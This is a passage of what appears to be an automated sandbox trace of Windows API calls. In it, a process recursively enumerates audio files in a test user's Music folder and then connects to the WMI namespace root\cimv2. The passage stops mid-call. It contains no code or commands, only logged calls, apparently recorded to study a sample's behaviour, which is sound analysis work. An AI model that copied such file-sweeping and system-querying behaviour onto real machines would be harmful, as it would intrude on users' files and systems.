dwReserved0=0x0, dwReserved1=0x0, cFileName="hHcZ.m4a", cAlternateFileName="")) returned 1 [0222.245] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d4a3c0, ftCreationTime.dwHighDateTime=0x1d99603, ftLastAccessTime.dwLowDateTime=0xd3234fc0, ftLastAccessTime.dwHighDateTime=0x1d999d9, ftLastWriteTime.dwLowDateTime=0xd3234fc0, ftLastWriteTime.dwHighDateTime=0x1d999d9, nFileSizeHigh=0x0, nFileSizeLow=0x5133, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVSxD3uV6skwv.wav", cAlternateFileName="HVSXD3~1.WAV")) returned 1 [0222.245] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1de660, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0x69598be0, ftLastAccessTime.dwHighDateTime=0x1d994e8, ftLastWriteTime.dwLowDateTime=0x69598be0, ftLastWriteTime.dwHighDateTime=0x1d994e8, nFileSizeHigh=0x0, nFileSizeLow=0x14143, dwReserved0=0x0, dwReserved1=0x0, cFileName="tZcihExcgU0.mp3", cAlternateFileName="TZCIHE~1.MP3")) returned 1 [0222.246] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.246] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0222.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0222.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0222.246] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP", lpFilePart=0x0) returned 0x48 [0222.246] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\l0usap\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0222.246] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.247] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2yRD1tM7BUYJ", cAlternateFileName="2YRD1T~1")) returned 1 [0222.247] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e0f040, ftCreationTime.dwHighDateTime=0x1d9942c, ftLastAccessTime.dwLowDateTime=0x71efdfc0, ftLastAccessTime.dwHighDateTime=0x1d99966, ftLastWriteTime.dwLowDateTime=0x71efdfc0, ftLastWriteTime.dwHighDateTime=0x1d99966, nFileSizeHigh=0x0, nFileSizeLow=0x12c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHcZ.m4a", cAlternateFileName="")) returned 1 [0222.247] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d4a3c0, ftCreationTime.dwHighDateTime=0x1d99603, ftLastAccessTime.dwLowDateTime=0xd3234fc0, ftLastAccessTime.dwHighDateTime=0x1d999d9, ftLastWriteTime.dwLowDateTime=0xd3234fc0, ftLastWriteTime.dwHighDateTime=0x1d999d9, nFileSizeHigh=0x0, nFileSizeLow=0x5133, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVSxD3uV6skwv.wav", cAlternateFileName="HVSXD3~1.WAV")) returned 1 [0222.247] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1de660, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0x69598be0, ftLastAccessTime.dwHighDateTime=0x1d994e8, ftLastWriteTime.dwLowDateTime=0x69598be0, ftLastWriteTime.dwHighDateTime=0x1d994e8, nFileSizeHigh=0x0, nFileSizeLow=0x14143, dwReserved0=0x0, dwReserved1=0x0, cFileName="tZcihExcgU0.mp3", cAlternateFileName="TZCIHE~1.MP3")) returned 1 [0222.247] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1de660, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0x69598be0, ftLastAccessTime.dwHighDateTime=0x1d994e8, ftLastWriteTime.dwLowDateTime=0x69598be0, ftLastWriteTime.dwHighDateTime=0x1d994e8, nFileSizeHigh=0x0, nFileSizeLow=0x14143, dwReserved0=0x0, dwReserved1=0x0, cFileName="tZcihExcgU0.mp3", cAlternateFileName="TZCIHE~1.MP3")) returned 0 [0222.247] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0222.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0222.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0222.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0222.248] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ", lpFilePart=0x0) returned 0x55 [0222.248] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\l0usap\\2yrd1tm7buyj\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0222.248] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.248] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b7ef030, ftCreationTime.dwHighDateTime=0x1d99525, ftLastAccessTime.dwLowDateTime=0x6acf3380, ftLastAccessTime.dwHighDateTime=0x1d99d0d, ftLastWriteTime.dwLowDateTime=0x6acf3380, ftLastWriteTime.dwHighDateTime=0x1d99d0d, nFileSizeHigh=0x0, nFileSizeLow=0x18f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="1G-V-23LgGSZCTIhHni.m4a", cAlternateFileName="1G-V-2~1.M4A")) returned 1 [0222.248] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x184ccf80, ftCreationTime.dwHighDateTime=0x1d99846, ftLastAccessTime.dwLowDateTime=0xd33ff390, ftLastAccessTime.dwHighDateTime=0x1d99c0a, ftLastWriteTime.dwLowDateTime=0xd33ff390, ftLastWriteTime.dwHighDateTime=0x1d99c0a, nFileSizeHigh=0x0, nFileSizeLow=0x152d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6nCBX5.m4a", cAlternateFileName="")) returned 1 [0222.249] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42cf5f0, ftCreationTime.dwHighDateTime=0x1d999c4, ftLastAccessTime.dwLowDateTime=0x490875f0, ftLastAccessTime.dwHighDateTime=0x1d99bfe, ftLastWriteTime.dwLowDateTime=0x490875f0, ftLastWriteTime.dwHighDateTime=0x1d99bfe, nFileSizeHigh=0x0, nFileSizeLow=0x8cf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="o1rxC.mp3", cAlternateFileName="")) returned 1 [0222.249] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1c6cf0, ftCreationTime.dwHighDateTime=0x1d98e8b, ftLastAccessTime.dwLowDateTime=0x824c04a0, ftLastAccessTime.dwHighDateTime=0x1d99aad, ftLastWriteTime.dwLowDateTime=0x824c04a0, ftLastWriteTime.dwHighDateTime=0x1d99aad, nFileSizeHigh=0x0, nFileSizeLow=0x15b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sF6iPmoLP04QbAMI1d.wav", cAlternateFileName="SF6IPM~1.WAV")) returned 1 [0222.249] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.249] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0222.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0222.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0222.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0222.249] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ", lpFilePart=0x0) returned 0x55 [0222.249] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\2yRD1tM7BUYJ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\l0usap\\2yrd1tm7buyj\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.250] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.390] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b7ef030, ftCreationTime.dwHighDateTime=0x1d99525, ftLastAccessTime.dwLowDateTime=0x6acf3380, ftLastAccessTime.dwHighDateTime=0x1d99d0d, ftLastWriteTime.dwLowDateTime=0x6acf3380, ftLastWriteTime.dwHighDateTime=0x1d99d0d, nFileSizeHigh=0x0, nFileSizeLow=0x18f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="1G-V-23LgGSZCTIhHni.m4a", cAlternateFileName="1G-V-2~1.M4A")) returned 1 [0222.398] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x184ccf80, ftCreationTime.dwHighDateTime=0x1d99846, ftLastAccessTime.dwLowDateTime=0xd33ff390, ftLastAccessTime.dwHighDateTime=0x1d99c0a, ftLastWriteTime.dwLowDateTime=0xd33ff390, ftLastWriteTime.dwHighDateTime=0x1d99c0a, nFileSizeHigh=0x0, nFileSizeLow=0x152d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6nCBX5.m4a", cAlternateFileName="")) returned 1 [0222.399] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42cf5f0, ftCreationTime.dwHighDateTime=0x1d999c4, ftLastAccessTime.dwLowDateTime=0x490875f0, ftLastAccessTime.dwHighDateTime=0x1d99bfe, ftLastWriteTime.dwLowDateTime=0x490875f0, ftLastWriteTime.dwHighDateTime=0x1d99bfe, nFileSizeHigh=0x0, nFileSizeLow=0x8cf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="o1rxC.mp3", cAlternateFileName="")) returned 1 [0222.403] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1c6cf0, ftCreationTime.dwHighDateTime=0x1d98e8b, ftLastAccessTime.dwLowDateTime=0x824c04a0, ftLastAccessTime.dwHighDateTime=0x1d99aad, ftLastWriteTime.dwLowDateTime=0x824c04a0, ftLastWriteTime.dwHighDateTime=0x1d99aad, nFileSizeHigh=0x0, nFileSizeLow=0x15b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sF6iPmoLP04QbAMI1d.wav", cAlternateFileName="SF6IPM~1.WAV")) returned 1 [0222.404] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1c6cf0, ftCreationTime.dwHighDateTime=0x1d98e8b, ftLastAccessTime.dwLowDateTime=0x824c04a0, ftLastAccessTime.dwHighDateTime=0x1d99aad, ftLastWriteTime.dwLowDateTime=0x824c04a0, ftLastWriteTime.dwHighDateTime=0x1d99aad, nFileSizeHigh=0x0, nFileSizeLow=0x15b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sF6iPmoLP04QbAMI1d.wav", cAlternateFileName="SF6IPM~1.WAV")) returned 0 [0222.409] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0222.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0222.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0222.414] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1db9f4c8 | out: UnbiasedTime=0x1db9f4c8) returned 1 [0222.414] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1db9f478 | out: UnbiasedTime=0x1db9f478) returned 1 [0222.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1db9edb8 | out: puCount=0x1db9edb8*=0x2) returned 0x0 [0222.439] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1db9edb0*=0x0, pszText=0x0 | out: puBuffLength=0x1db9edb0*=0xf, pszText=0x0) returned 0x0 [0222.439] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1db9edb0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1db9edb0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0222.440] CoGetObjectContext (in: riid=0x229b408*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9ecf8 | out: ppv=0x1db9ecf8*=0x77dd58) returned 0x0 [0222.440] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1db9ece8 | out: pAptType=0x1db9ece8*=1) returned 0x0 [0222.440] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x229b3e8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1db9ecf0 | out: ppvObject=0x1db9ecf0*=0x0) returned 0x80004002 [0222.440] IUnknown:Release (This=0x77dd58) returned 0x1 [0222.441] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9e3b8 | out: ppv=0x1db9e3b8*=0x1b1ff830) returned 0x0 [0222.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff830, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9e4a0 | out: ppvObject=0x1db9e4a0*=0x0) returned 0x80004002 [0222.442] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b1ff830, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e478 | out: ppvObject=0x1db9e478*=0x1b1ff9b0) returned 0x0 [0222.442] WbemLocator:IUnknown:Release (This=0x1b1ff830) returned 0x0 [0222.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e220 | out: ppvObject=0x1db9e220*=0x1b1ff9b0) returned 0x0 [0222.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9e2b0 | out: ppvObject=0x1db9e2b0*=0x0) returned 0x80004002 [0222.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9daa8 | out: ppvObject=0x1db9daa8*=0x0) returned 0x80004002 [0222.442] WbemLocator:IUnknown:AddRef (This=0x1b1ff9b0) returned 0x3 [0222.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9d968 | out: ppvObject=0x1db9d968*=0x0) returned 0x80004002 [0222.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9d8f0 | out: ppvObject=0x1db9d8f0*=0x0) returned 0x80004002 [0222.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d8e0 | out: ppvObject=0x1db9d8e0*=0x0) returned 0x80004002 [0222.443] CoGetContextToken (in: pToken=0x1db9d990 | out: pToken=0x1db9d990) returned 0x0 [0222.443] CoGetContextToken (in: pToken=0x1db9de10 | out: pToken=0x1db9de10) returned 0x0 [0222.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9ded0 | out: ppvObject=0x1db9ded0*=0x0) returned 0x80004002 [0222.443] WbemLocator:IUnknown:Release (This=0x1b1ff9b0) returned 0x2 [0222.443] WbemLocator:IUnknown:Release (This=0x1b1ff9b0) returned 0x1 [0222.443] CoGetContextToken (in: pToken=0x1db9e850 | out: pToken=0x1db9e850) returned 0x0 [0222.443] CoGetContextToken (in: pToken=0x1db9e750 | out: pToken=0x1db9e750) returned 0x0 [0222.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff9b0, riid=0x1db9e8b0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1db9e880 | out: ppvObject=0x1db9e880*=0x1b1ff9b0) returned 0x0 [0222.443] WbemLocator:IUnknown:AddRef (This=0x1b1ff9b0) returned 0x3 [0222.443] WbemLocator:IUnknown:Release (This=0x1b1ff9b0) returned 0x2 [0222.443] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1db9ec88 | out: puCount=0x1db9ec88*=0x2) returned 0x0 [0222.443] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1db9ec80*=0x0, pszText=0x0 | out: puBuffLength=0x1db9ec80*=0xf, pszText=0x0) returned 0x0 [0222.443] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1db9ec80*=0xf, pszText="00000000000000" | out: puBuffLength=0x1db9ec80*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0222.444] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1db9e9d0 | out: ppv=0x1db9e9d0*=0x1b1ff570) returned 0x0 [0222.444] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b1ff570, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1db9eb48 | out: ppNamespace=0x1db9eb48*=0x1b2181d0) returned 0x0 [0223.770] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e848 | out: ppvObject=0x1db9e848*=0x1b202e70) returned 0x0 [0223.770] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202e70, pProxy=0x1b2181d0, pAuthnSvc=0x1db9e910, pAuthzSvc=0x1db9e890, pServerPrincName=0x1db9e8b8, pAuthnLevel=0x1db9e894, pImpLevel=0x1db9e8a0, pAuthInfo=0x1db9e8c8, pCapabilites=0x1db9e8a4 | out: pAuthnSvc=0x1db9e910*=0xa, pAuthzSvc=0x1db9e890*=0x0, pServerPrincName=0x1db9e8b8, pAuthnLevel=0x1db9e894*=0x6, pImpLevel=0x1db9e8a0*=0x2, pAuthInfo=0x1db9e8c8, 